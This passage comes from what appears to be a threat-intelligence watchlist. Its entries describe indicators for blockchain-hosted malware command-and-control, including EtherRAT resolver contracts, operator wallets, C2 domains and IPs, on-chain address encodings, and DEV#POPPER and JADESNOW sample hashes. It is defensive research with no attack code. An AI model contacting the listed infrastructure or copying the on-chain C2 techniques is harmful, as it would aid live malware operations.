Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Command-and-control domain the report lists for the malicious Chrome MV3 extension, at https://th-updates.sbs/analytics, active May to July 2026. The report names the watchlisted Ethereum contract 0x85a6d913aac80286f01fa082ef0b96c188673043 as the extension's configuration contract, the EtherHiding resolver that points infected browsers at this infrastructure. Transcribed from the report's indicator table; not observed by this site.","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://times.australiaeast.cloudapp.azure.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-06-24. The name is a Microsoft Azure virtual machine's public DNS name, so it points at whatever machine holds it now. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","Command-and-control host the EtherRAT fake Microsoft Teams campaign stored on chain: written as https://tklovers.com to contract 0x788a5336c0ef70be87619a3c13a43050c426f7ec by the campaign's resolver address on 2026-07-09. The domain was registered on 2026-07-09, the day it was first written, through the same registrar as the campaign's reported fallback domain necropatia.com. Recovered by this site's hunt; recorded as a host the malware was pointed at, not one this site has observed serving anything.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-03-23, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-23, the day it was written, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x8a7c8497991dea66910e70979a5961aee347ff50 by operator wallet 0xea4337aa83496f0b91cdcdd8bf2734df9eef1774 on 2026-04-25, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-04-21, 4 days before the write, through Tucows Domains Inc. with nameservers 1-you.njalla.no and 2-can.njalla.in and 3-get.njalla.fo, the Njalla privacy-registrar pattern that other EtherRAT operator domains share. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x45729d7424d7310a0c041a2906ba95a4bd5ebfca by operator wallet 0xa001d3863b138ed523f255f62725ab1ddc82af87 on 2026-11-06 (transaction 0x8dd774b7690d9542bac406d96c52f8ab0ee5d1f9c40ae077decbb618237b9309), as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. It replaced rversl.centralus.cloudapp.azure.com, written two days earlier, and was itself replaced by basodara.com four days later. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution. The same value was written on the same day to 0x788a5336c0ef70be87619a3c13a43050c426f7ec, the resolver of the EtherRAT fake Microsoft Teams campaign, by its resolver address 0x6e044e19000487c4a6e6af15b4132a5561b5ee1f (transaction 0x0a77e721b149eace6c7c1a62b24f382eb44e62d995f811ba9dff18578f95d39d), so the two resolvers were pointed at one host; this is this site's own observation.","EtherRAT command-and-control domain the operator wrote to the resolver contract on 2026-03-23, recovered by Hokage Vanguard from the contract's setString history and confirmed by this site from the same transactions. Registered through Tucows with Njalla nameservers, the registration pattern the report identifies across the campaign.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-07-07, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x5a3589462b41fa8cf91ac2c7773a285d9c790548 resolves to after decryption, as reported by LevelBlue SpiderLabs.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x4dbdca7277427edee4d5b4e3d012bca73aefadf1 resolves to after decryption, as reported by LevelBlue SpiderLabs.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xdec19e351fe4cbc5427a54ea34eaabbe2b58e671 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","PhantomPolia C2 domain that the Ethereum Sepolia contract 0x5ea589954314fe8d5ecb509b35d77a389912b42f resolves to after decryption, as reported by LevelBlue SpiderLabs.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0x4b6170a49090fae965527e222515c2224fe73dd5 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","HexMage skimmer delivery host that the Ethereum Sepolia contract 0xff2ff2de4bf5434a160b666a1a17559fb454eee2 resolves to, observed by Confiant serving the card skimmer to compromised checkout pages.","Value written to the EtherRAT resolver contract 0x277852e1c349b03c79e348018a8391bd21c412e8 by operator wallet 0x6c0bdc011f31715c4ff537aa9c6a8a141f8a6119 on 2026-02-19, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-02-19, the day it was written, through Hello Internet Corp with nameservers alexis.ns.cloudflare.com and may.ns.cloudflare.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Value written to the EtherRAT resolver contract 0x8b12e09abb2e5130310b24c75b51c8afd85e8223 by operator wallet 0x2dbca26addf031ada655861933d0386a39ea6427 on 2026-10-28 (transaction 0xda10cb4baa3036e28e731e8aec7ec3f2f9c5018e1dce6e731402c7dc7a8de334), as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). An Azure cloudapp.azure.com name written by an operator of the contract, in the same pattern as other Azure-hosted EtherRAT values; the name is a free regional label and says nothing about the account behind it. It replaced dns1.southafricanorth.cloudapp.azure.com, the contract's value since 2026-06-26. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","EtherRAT command-and-control domain the resolver contract 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 returned from 2026-06-18, from Hunt.io's table of the contract's historical C2.","Value written to the EtherRAT resolver contract 0x3f35e6fbe1098f0685137ab81189e891939825af by operator wallet 0xbfafba01a34aa6d53adcd1eac5ff5a7ee38a40ad on 2026-03-06, as recorded in the contract's setString events. This is an on-chain observation by this site, not a value carried in published reporting. The contract was found by its identical bytecode and setString event to published EtherRAT resolvers (keccak256 of runtime code 484c7fb94d7084807bf4385d4c7fe9bd768ecb92669c162fac9ab299b28f302e). RDAP shows the domain registered on 2026-03-06, the day it was written, through Global Domain Group LLC with nameservers ns1.globaldomaingroup.com and ns2.globaldomaingroup.com. The registration pattern, not the name, is what separates this from the parked and compromised-site values operators also write. The label rests on Sysdig's attribution of the EtherRAT family; one deployment of the family (The DFIR Report) ended in The Gentlemen ransomware with no nation-state named, so this entry carries low confidence and is not itself a DPRK attribution.","Mining pool or configuration server named on port 8080 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-04-14. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","SHA-256 of the JADESNOW JavaScript downloader sample GTIG lists as launching the infection chain. This is the file the G_Downloader_JADESNOW_1 YARA rule in this watchlist is written to match, so a hash hit and a rule hit on the same file corroborate each other.","…SHA256 Hash (Initial JavaScript Downloader) 01fd153bfb4be440dd46cea7bebe8eb61b1897596523f6f6d1a507a708b17cc7 JADESNOW sample to launch infection chain.…","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x09e61c8f00b01eaa28b3ffaafdeb5f0d402357b87573400ebad1e25f3d9c8693 (file 011025_0x09e61c8f00b01eaa28b3ffaafdeb5f0d402357b87573400ebad1e25f3d9c8693_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x3925fbf4a2e49966bc2d84cb4c134a28059e8483f7f8e2750c5aae737bfebe1d (file 130625_0x3925fbf4a2e49966bc2d84cb4c134a28059e8483f7f8e2750c5aae737bfebe1d_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x828f00daa9fa68b36d2f2380f3fdc27265c53417ef01660b5421ea1125fad2de (file 091025_0x828f00daa9fa68b36d2f2380f3fdc27265c53417ef01660b5421ea1125fad2de_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xc3d4740f747e2f0adf622d2ac48ef6bda4b18e3d152028f0f8027216199c4fee (file 011025_0xc3d4740f747e2f0adf622d2ac48ef6bda4b18e3d152028f0f8027216199c4fee_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 the report gives for the malicious Chrome MV3 extension delivered alongside the infostealer. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xa1f957a901cdfeb603641b8cd8de22d6ef765bc102e1ce50c7494fb19ea1835d (file 091025_0xa1f957a901cdfeb603641b8cd8de22d6ef765bc102e1ce50c7494fb19ea1835d_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xf9fca982ce5a8ae9463f7b469496a2554d0f09c8ca67ca5034de621963673a5e (file 011025_0xf9fca982ce5a8ae9463f7b469496a2554d0f09c8ca67ca5034de621963673a5e_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x37a83b05ab074c13bacd2493b97b876f97bc310726c9f8191982e4df180fc851 (file 130625_0x37a83b05ab074c13bacd2493b97b876f97bc310726c9f8191982e4df180fc851_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 the report gives for the Node.js remote-access tool it labels version 1.0.3, the stage that polls the configuration contract. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x1cfb0f48dbed9db15451b06328619e3cc33f22616611411afc5be3005e768b59 (file 130625_0x1cfb0f48dbed9db15451b06328619e3cc33f22616611411afc5be3005e768b59_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x1a4272be3c516faea9093f5c2fadadb620cfe8bfbd50e22008847e6056fd91b9 (file 011025_0x1a4272be3c516faea9093f5c2fadadb620cfe8bfbd50e22008847e6056fd91b9_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x95cac861a838481cbef0557e60098703038acfc920abfdcf272714cfbc7c12e9 (file 120625_0x95cac861a838481cbef0557e60098703038acfc920abfdcf272714cfbc7c12e9_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 the report gives for the infostealer module fetched by the backdoor, which it describes as targeting 157 cryptocurrency wallets. Transcribed from the report's own indicator table. Unlike the entries on this page drawn from contracts this site read directly, nothing here has been verified on-chain: the checker could not reach an RPC endpoint from where this was recorded, and a failed query is recorded as failed rather than filled in. Treat it as the report's claim until checked.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x5fa89795ed04f9aa6f1969db1e5ce1767450da04cb86dd1ce582f25891dfd976 (file 081025_0x5fa89795ed04f9aa6f1969db1e5ce1767450da04cb86dd1ce582f25891dfd976_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xf0adf6867fa5e1f7f9323e992dcad37eda3ca9bff82f49729ff1b85ab84a10d9 (file 071025_0xf0adf6867fa5e1f7f9323e992dcad37eda3ca9bff82f49729ff1b85ab84a10d9_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of the ZIP archive that delivers the initial JADESNOW downloader in UNC5342's Contagious Interview lure, listed in GTIG's indicator table. The archive is the artifact a victim is talked into extracting and running as a coding assessment; the EtherHiding retrieval happens only once the downloader inside it executes.","…Indicators of Compromise Type Indicator Context SHA256 Hash (ZIP Archive) 970307708071c01d32ef542a49099571852846a980d6e8eb164d2578147a1628 ZIP archive containing the initial downloader, in this case JADESNOW.…","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x3b77783f8952ae8235a873a2ac6757f8ae563de56d0006d3f92fd8d73b45ac58 (file 011025_0x3b77783f8952ae8235a873a2ac6757f8ae563de56d0006d3f92fd8d73b45ac58_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xf7e6cbd4551c45cfeb3f57574f7685dde8ca6be7a6ce5f99cf5ff237a6e51cde (file 130625_0xf7e6cbd4551c45cfeb3f57574f7685dde8ca6be7a6ce5f99cf5ff237a6e51cde_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x4e0c8d86a755bc1a658619c9f399c3e108150539809bd049d9d8e7e3160bd388 (file 141125_0x4e0c8d86a755bc1a658619c9f399c3e108150539809bd049d9d8e7e3160bd388_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0xc8090a40230cfacb82ead30d8d290a22f8e5f508800d725f8ae2dd1d35e03427 (file 020725_0xc8090a40230cfacb82ead30d8d290a22f8e5f508800d725f8ae2dd1d35e03427_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x03decfa85c107de640312424534ae89a8457ede2f7582c4b84d20f158c9f3e36 (file 170625_0x03decfa85c107de640312424534ae89a8457ede2f7582c4b84d20f158c9f3e36_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x4ff108d057d6e62ec110a5c8a85b1b404aa0bf6299d63ee9a7679d858c981f0f (file 011225_0x4ff108d057d6e62ec110a5c8a85b1b404aa0bf6299d63ee9a7679d858c981f0f_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x377ee776fc12e468813a1cb1f36b71b973f40f78baf053f6ef77bf35968d706e (file 130625_0x377ee776fc12e468813a1cb1f36b71b973f40f78baf053f6ef77bf35968d706e_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","SHA-256 of a deobfuscated DEV#POPPER.JS RAT variant that Ransom-ISAC recovered from BSC transaction 0x6c777ac28d0dba345eeda8b65625ef1aec69ecb5a489f25f2a2545cf3b3bb344 (file 071025_0x6c777ac28d0dba345eeda8b65625ef1aec69ecb5a489f25f2a2545cf3b3bb344_FINAL.txt). Ransom-ISAC prints 20 of more than 70 such hashes in the post and puts the rest in its GitHub repository for part 4, which this site has not mirrored. Ransom-ISAC, which calls the technique Cross-Chain TxDataHiding (XCTDH), says the targeting and operational priorities strongly suggest a DPRK-affiliated actor, and its part 4, written with Crystal Intelligence, reports funding traced to addresses involved in other DPRK thefts. The first part of the series rests on infrastructure and targeting rather than on a named cluster, so this entry carries the Contagious Interview label and no UNC cluster.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString on 2026-03-27, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString on 2026-04-14, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString on 2026-03-30, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString on 2026-04-02, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString between 2026-03-26 and 2026-03-27, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0x9268cc33d59415b033dc5d709ce30bbe09708fe3 with setString on 2026-03-31, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","EtherRAT command-and-control Cloudflare quick tunnel the operator wrote to the watchlisted resolver contract 0xc12c8d8f9706244eca0acf04e880f10ff4e52522 with setString on 2026-04-02, read by this site from the contract's write history. Recorded as the address the implant was pointed at, not as a host this site has observed serving anything. A quick tunnel is short-lived and its name is assigned at random, so the value matters for matching traffic from that window rather than as standing infrastructure.","Command-and-control IP decoded from the NullReceiver destination address 0x67b38e9b67b38e9b68656c6c6f6970626f742121 that the watchlisted resolver wallet has pointed to since 2026-10-16, still current when this entry was written on 2026-10-18. This is an on-chain observation by this site, not a value carried in published reporting. It is recorded as the address the malware resolves to, not as a host this site has observed serving anything.","Command-and-control IP decoded from the recipient address 0x67d5f82d01bb880007e7005000ff5c60b6c34b5a, which the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 paid from 2026-10-07 to 2026-10-08. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port, 01bb or 443; the secondary endpoint in the same address is 136.0.7.231 on port 80. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Mining pool or configuration server named on port 27033 in the XOR-encoded cryptocurrency-miner configurations stored on Polygon by 0x19532c0fbaf0fb8c1d0f3fac0b704bf2f4645539, first on 2026-04-15 and last on 2026-05-25. Recorded as an address the miner was pointed at, not one this site has observed serving anything.","Command-and-control IP decoded from recipient address 0x6f5a8f2700506f5a8f27005000ff54e1649d5b77, which the watchlisted XCTDH signal wallet 0x33ff3edaf55a8e03dcbc7cb40d498a49cd499891 began paying on 2026-10-12, replacing 150.40.98.42, and paid until 2026-11-02, apart from one transaction to the second signal address on 2026-10-31; 95.135.181.25 replaced it. Read with the encoding Ransom-ISAC published for this wallet: the first four bytes are the IP and the next two the port, here 80 for both endpoints. This is an on-chain observation by this site, made after the report was published, and it is recorded as the address the implant is pointed at, not as a host this site has observed serving anything.","Address that appeared as a value written to EtherRAT resolver contracts, per Atos's list of domains and addresses found in contract events (first seen 2026-01-03, last seen 2026-03-02, 3 occurrences). A value an operator writes to the contract is the address the implant is sent to, but this site has not observed the 